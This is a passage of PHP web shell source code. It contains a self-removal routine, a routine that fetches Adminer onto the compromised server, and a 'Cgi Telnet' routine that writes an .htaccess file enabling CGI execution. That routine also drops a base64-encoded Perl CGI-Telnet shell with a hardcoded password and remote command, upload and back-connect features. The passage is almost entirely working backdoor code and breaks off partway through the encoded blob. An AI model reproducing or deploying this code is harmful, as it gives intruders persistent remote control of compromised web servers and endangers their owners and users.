actionSelfRemove() {\r\n\tif($_POST[\'p1\'] == \'yes\')\r\n\t\tif(@unlink(preg_replace(\'!\\(\\d+\\)\\s.*!\', \'\', __FILE__)))\r\n\t\t\tdie(\'Shell has been removed\');\r\n\t\telse\r\n\t\t\techo \'unlink error!\';\r\n    if($_POST[\'p1\'] != \'yes\')\r\n        hardHeader();\r\n\techo \'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\\\'yes\\\')">Yes</a></div>\';\r\n\thardFooter();\r\n}\r\nfunction actionInfect() {\r\n\thardHeader();\r\n\t$full = str_replace($_SERVER[\'DOCUMENT_ROOT\'], "", $dir);\r\n\tfunction adminer($url, $isi) {\r\n\t\t$fp = fopen($isi, "w");\r\n\t\t$ch = curl_init();\r\n\t\t \t  curl_setopt($ch, CURLOPT_URL, $url);\r\n\t\t \t  curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);\r\n\t\t \t  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\r\n\t\t \t  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\r\n\t\t   \t  curl_setopt($ch, CURLOPT_FILE, $fp);\r\n\t\treturn curl_exec($ch);\r\n\t\t   \t  curl_close($ch);\r\n\t\tfclose($fp);\r\n\t\tob_flush();\r\n\t\tflush();\r\n\t}\r\n\tif(file_exists(\'adminer.php\')) {\r\n\t\techo "<center><font color=white><br><br><a href=\'$full/adminer.php\' target=\'_blank\'>-> adminer login <-</a><br><br><br></font></center>";\r\n\t} else {\r\n\t\tif(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {\r\n\t\t\techo "<center><font color=white><br><br><a href=\'$full/adminer.php\' target=\'_blank\'>-> adminer login <-</a><br><br></font></center>";\r\n\t\t} else {\r\n\t\t\techo "<center><font color=red>gagal buat file adminer</font></center>";\r\n\t\t}\r\n\t}\r\n\thardFooter();\r\n}\r\nfunction actionBruteforce() {\r\n\thardHeader();\r\n\techo "<center><h1>Cgi Telnet</h1><div class=content><br>";\r\n\t$cgi_dir = mkdir(\'hex_cgi\', 0755);\r\n        chdir(\'hex_cgi\');\r\n\t$file_cgi = "cgi.hex";\r\n        $memeg = ".htaccess";\r\n\t$isi_htcgi = "OPTIONS Indexes Includes ExecCGI FollowSymLinks \\n AddType application/x-httpd-cgi .hex \\n AddHandler cgi-script .hex \\n AddHandler cgi-script .hex";\r\n\t$htcgi = fopen(".htaccess", "w");\r\n\t$cgi_script = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS4zIjsNCiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+Q0dJLVRlbG5ldDwvZm9udD4iOw0KDQokUGFzc3dvcmQgPSAiaGFja2VyMDg4MiI7CQkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzIHRvIGxvZ2luLg0Kc3ViIElzX1dpbigpew0KCSRvcyA9ICZ0cmltKCRFTlZ7IlNFUlZFUl9TT0ZUV0FSRSJ9KTsNCglpZigkb3MgPX4gbS93aW4vaSl7DQoJCXJldHVybiAxOw0KCX0NCgllbHNlew0KCQlyZXR1cm4gMDsNCgl9DQp9DQokV2luTlQgPSAmSXNfV2luKCk7CQkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYNCgkJCQkJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQNCgkJCQkJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UNCgkJCQkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLg0KDQokTlRDbWRTZXAgPSAiJiI7CQkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzDQoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4NCg0KJFVuaXhDbWRTZXAgPSAiOyI7CQkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzDQoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4NCg0KJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDAwMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQNCgkJCQkJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMNCgkJCQkJCQkJIyB1c2VmdWwgZm9yIGNvbW1hbmRzIHRoYXQgbWF5IGhhbmcgb3IgdGhhdA0KCQkJCQkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuDQoJCQkJCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMNCgkJCQkJCQkJIyBpZ25vcmVkIG9uIE5UIFNlcnZlcnMuDQoNCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQ0KCQkJCQkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQ0KCQkJCQkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQNCgkJCQkJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlDQoJCQkJCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0DQoJCQkJCQkJCSMgaXMgYmVpbmcgZ2VuZXJhdGVkLg0KDQojIERPTidUIENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUgVU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhDQoNCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOw0KJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDogInB3ZCIpOw0KJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7DQokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOw0KJGNvbHM9IDE1MDsNCiRyb3dzPSAyNjsNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUmVhZHMgdGhlIGlucHV0IHNlbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVzLiBJdA0KIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLg0KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9Lg0KIyBPdGhlciB2YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHVzaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0aGUgbmFtZSBvZg0KIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQ0KIyBzY3JpcHRzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJlYWRQYXJzZSANCnsNCglsb2NhbCAoKmluKSA9IEBfIGlmIEBfOw0KCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7DQoJDQoJJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87DQoNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCg0KCSMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGENCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykNCgl7DQoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcgDQoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IA0KCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOw0KCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87DQoJCSRIZWFkZXIgPSAkYDsNCgkJJEJvZHkgPSAkJzsNCiAJCSRCb2R5ID1+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUNCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7DQoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgDQoJCSRpbnsnZid9ID0gJDE7IA0KCQkkaW57J2YnfSA9fiBzL1wiLy9nOw0KCQkkaW57J2YnfSA9fiBzL1xzLy9nOw0KDQoJCSMgcGFyc2UgdHJhaWxlcg0KCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQ0KCQl7IA0KCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87DQoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87DQoJCQkka2V5ID0gJDE7DQoJCQkkdmFsID0gJCc7DQoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOw0KCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSRpbnska2V5fSA9ICR2YWw7IA0KCQl9DQoJfQ0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQ0KCXsNCgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOw0KCQlmb3JlYWNoICRpICgwIC4uICQjaW4pDQoJCXsNCgkJCSRpblskaV0gPX4gcy9cKy8gL2c7DQoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOw0KCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsNCgkJCSRpbnska2V5fSAuPSAkdmFsOw0KCQl9DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7DQoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCglteSAkZGlyID0kQ3VycmVudERpcjsNCgkkZGlyPX4gcy9cXC9cXFxcL2c7DQoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7DQoJcHJpbnQgPDxFTkQ7DQo8aHRtbD4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiPg0KPHRpdGxlPkhhY3N1Z2lhPC90aXRsZT4NCg0KJEh0bWxNZXRhSGVhZGVyDQoNCjwvaGVhZD4NCjxzdHlsZT4NCmJvZHl7DQpmb250OiAxMHB0IFZlcmRhbmE7DQp9DQp0ciB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCmNvbG9yOiAjZmY5OTAwOw0KfQ0KdGQgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpjb2xvcjogI2ZmOTEwOTsNCmZvbnQ6IDEwcHQgVmVyZGFuYTsNCn0NCg0KdGFibGUgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMTExOw0KfQ0KDQoNCmlucHV0IHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpmb250OiAxMHB0IFZlcmRhbmE7DQpjb2xvcjogI2ZmOTkwMDsNCn0NCg0KaW5wdXQuc3VibWl0IHsNCnRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCmNvbG9yOiAjRkZGRkZGOw0KYm9yZGVyLWNvbG9yOiAjMDA5OTAwOw0KfQ0KDQpjb2RlIHsNCmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOw0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsNCmNvbG9yOiB3aGlsZTsNCn0NCg0KcnVuIHsNCmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOw0KZm9udDogMTBwdCBWZXJkYW5hIGJvbGQ7DQpjb2xvcjogI0ZGMDBBQTsNCn0NCg0KdGV4dGFyZWEgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMWIxYjFiOw0KZm9udDogRml4ZWRzeXMgYm9sZDsNCmNvbG9yOiAjYWFhOw0KfQ0KQTpsaW5rIHsNCglDT0xPUjogI2ZmOTEwOTsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOnZpc2l0ZWQgew0KCUNPTE9SOiAjZmY5MTA5OyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6aG92ZXIgew0KCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCgljb2xvcjogI2ZmOTkwMDsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmFjdGl2ZSB7DQoJY29sb3I6IFJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQoNCi5saXN0ZGlyIHRyOmhvdmVyew0KCWJhY2tncm91bmQ6ICM0NDQ7DQp9DQoubGlzdGRpciB0cjpob3ZlciB0ZHsNCgliYWNrZ3JvdW5kOiAjNDQ0Ow0KCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOw0KfQ0KLm5vdGxpbmV7DQoJYmFja2dyb3VuZDogIzExMTsNCn0NCi5saW5lew0KCWJhY2tncm91bmQ6ICMyMjI7DQp9DQo8L3N0eWxlPg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBjaG1vZF9mb3JtKGksZmlsZSkNCnsNCgkvKnZhciBhamF4PSdhamF4X1Bvc3REYXRhKCJGb3JtUGVybXNfJytpKyciLCIkU2NyaXB0TG9jYXRpb24iLCJSZXNwb25zZURhdGEiKTsgcmV0dXJuIGZhbHNlOyc7Ki8NCgl2YXIgYWpheD0iIjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1jaG1vZCB0eXBlPXRleHQgc2l6ZT01IC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckZGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7DQp9DQpmdW5jdGlvbiBybV9jaG1vZF9mb3JtKHJlc3BvbnNlLGkscGVybXMsZmlsZSkNCnsNCglyZXNwb25zZS5pbm5lckhUTUwgPSAiPHNwYW4gb25jbGljaz1cXFwiY2htb2RfZm9ybSgiICsgaSArICIsJyIrIGZpbGUrICInKVxcXCIgPiIrIHBlcm1zICsiPC9zcGFuPjwvdGQ+IjsNCn0NCmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCXZhciBhamF4PSIiOw0KCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOw0KCXZhciBiYWNrPSJybV9yZW5hbWVfZm9ybSgiK2krIixcXFwiIitmaWxlKyJcXFwiLFxcXCIiK2YrIlxcXCIpOyByZXR1cm4gZmFsc2U7IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9cmVuYW1lIHR5cGU9dGV4dCB2YWx1ZT0gJyIrZmlsZSsiJyAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYmFjayArICInIHZhbHVlPUNhbmNlbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRkaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsNCn0NCmZ1bmN0aW9uIHJtX3JlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCWlmKGY9PSdmJykNCgl7DQoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1jb21tYW5kJmQ9JGRpciZjPWVkaXQlMjAiK2ZpbGUrIiUyMCc+IiArZmlsZSsgIjwvYT4iOw0KCX1lbHNlDQoJew0KCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Z3VpJmQ9IitmKyInPlsgIiArZmlsZSsgIiBdPC9hPiI7DQoJfQ0KfQ0KPC9zY3JpcHQ+DQo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4NCjxjZW50ZXI+PGNvZGU+DQo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4NCjx0cj4NCgk8dGQgYWxpZ249ImNlbnRlciIgcm93c3Bhbj0yPg0KCQk8Yj48Zm9udCBzaXplPSI1Ij4kRWRpdFBlcnNpb248L2ZvbnQ+PC9iPg0KCTwvdGQ+DQoNCgk8dGQ+DQoNCgkJPGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+JEVOVnsiU0VSVkVSX1NPRlRXQVJFIn08L2ZvbnQ+DQoJPC90ZD4NCgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjYmIwMDAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iI2JiMDAwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4NCgk8L3RkPg0KDQo8L3RyPg0KDQo8dHI+DQo8dGQgY29sc3Bhbj0iMyI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24iPkhvbWU8L2E+IHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jb21tYW5kJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5Db21tYW5kPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1ndWkmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkdVSTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+VXBsb2FkIEZpbGU8L2E+IHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+RG93bmxvYWQgRmlsZTwvYT4gfA0KDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1iYWNrYmluZCI+QmFjayAmIEJpbmQ8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJydXRlZm9yY2VyIj5CcnV0ZSBGb3JjZXI8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvbWFpbnN1c2VyIj5Eb21haW5zL1VzZXJzPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1sb2dvdXQiPkxvZ291dDwvYT4gfA0KPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9IiMiPkhlbHA8L2E+DQoNCjwvZm9udD48L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8Zm9udCBpZD0iUmVzcG9uc2VEYXRhIiBjb2xvcj0iI2ZmOTljYyIgPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBMb2dpbiBTY3JlZW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luU2NyZWVuDQp7DQoNCglwcmludCA8PEVORDsNCjxwcmU+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KVHlwaW5nVGV4dCA9IGZ1bmN0aW9uKGVsZW1lbnQsIGludGVydmFsLCBjdXJzb3IsIGZpbmlzaGVkQ2FsbGJhY2spIHsNCiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsNCiAgICB0aGlzLnJ1bm5pbmcgPSB0cnVlOwkvLyBOZXZlciBydW4uDQogICAgcmV0dXJuOw0KICB9DQogIHRoaXMuZWxlbWVudCA9IGVsZW1lbnQ7DQogIHRoaXMuZmluaXNoZWRDYWxsYmFjayA9IChmaW5pc2hlZENhbGxiYWNrID8gZmluaXNoZWRDYWxsYmFjayA6IGZ1bmN0aW9uKCkgeyByZXR1cm47IH0pOw0KICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsNCiAgdGhpcy5vcmlnVGV4dCA9IHRoaXMuZWxlbWVudC5pbm5lckhUTUw7DQogIHRoaXMudW5wYXJzZWRPcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQ7DQogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsNCiAgdGhpcy5jdXJyZW50VGV4dCA9ICIiOw0KICB0aGlzLmN1cnJlbnRDaGFyID0gMDsNCiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOw0KICBpZih0aGlzLmVsZW1lbnQuaWQgPT0gIiIpIHRoaXMuZWxlbWVudC5pZCA9ICJ0eXBpbmd0ZXh0IiArIFR5cGluZ1RleHQuY3VycmVudEluZGV4Kys7DQogIFR5cGluZ1RleHQuYWxsLnB1c2godGhpcyk7DQogIHRoaXMucnVubmluZyA9IGZhbHNlOw0KICB0aGlzLmluVGFnID0gZmFsc2U7DQogIHRoaXMudGFnQnVmZmVyID0gIiI7DQogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7DQogIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICIiOw0KfQ0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsNClR5cGluZ1RleHQuY3VycmVudEluZGV4ID0gMDsNClR5cGluZ1RleHQucnVuQWxsID0gZnVuY3Rpb24oKSB7DQogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5n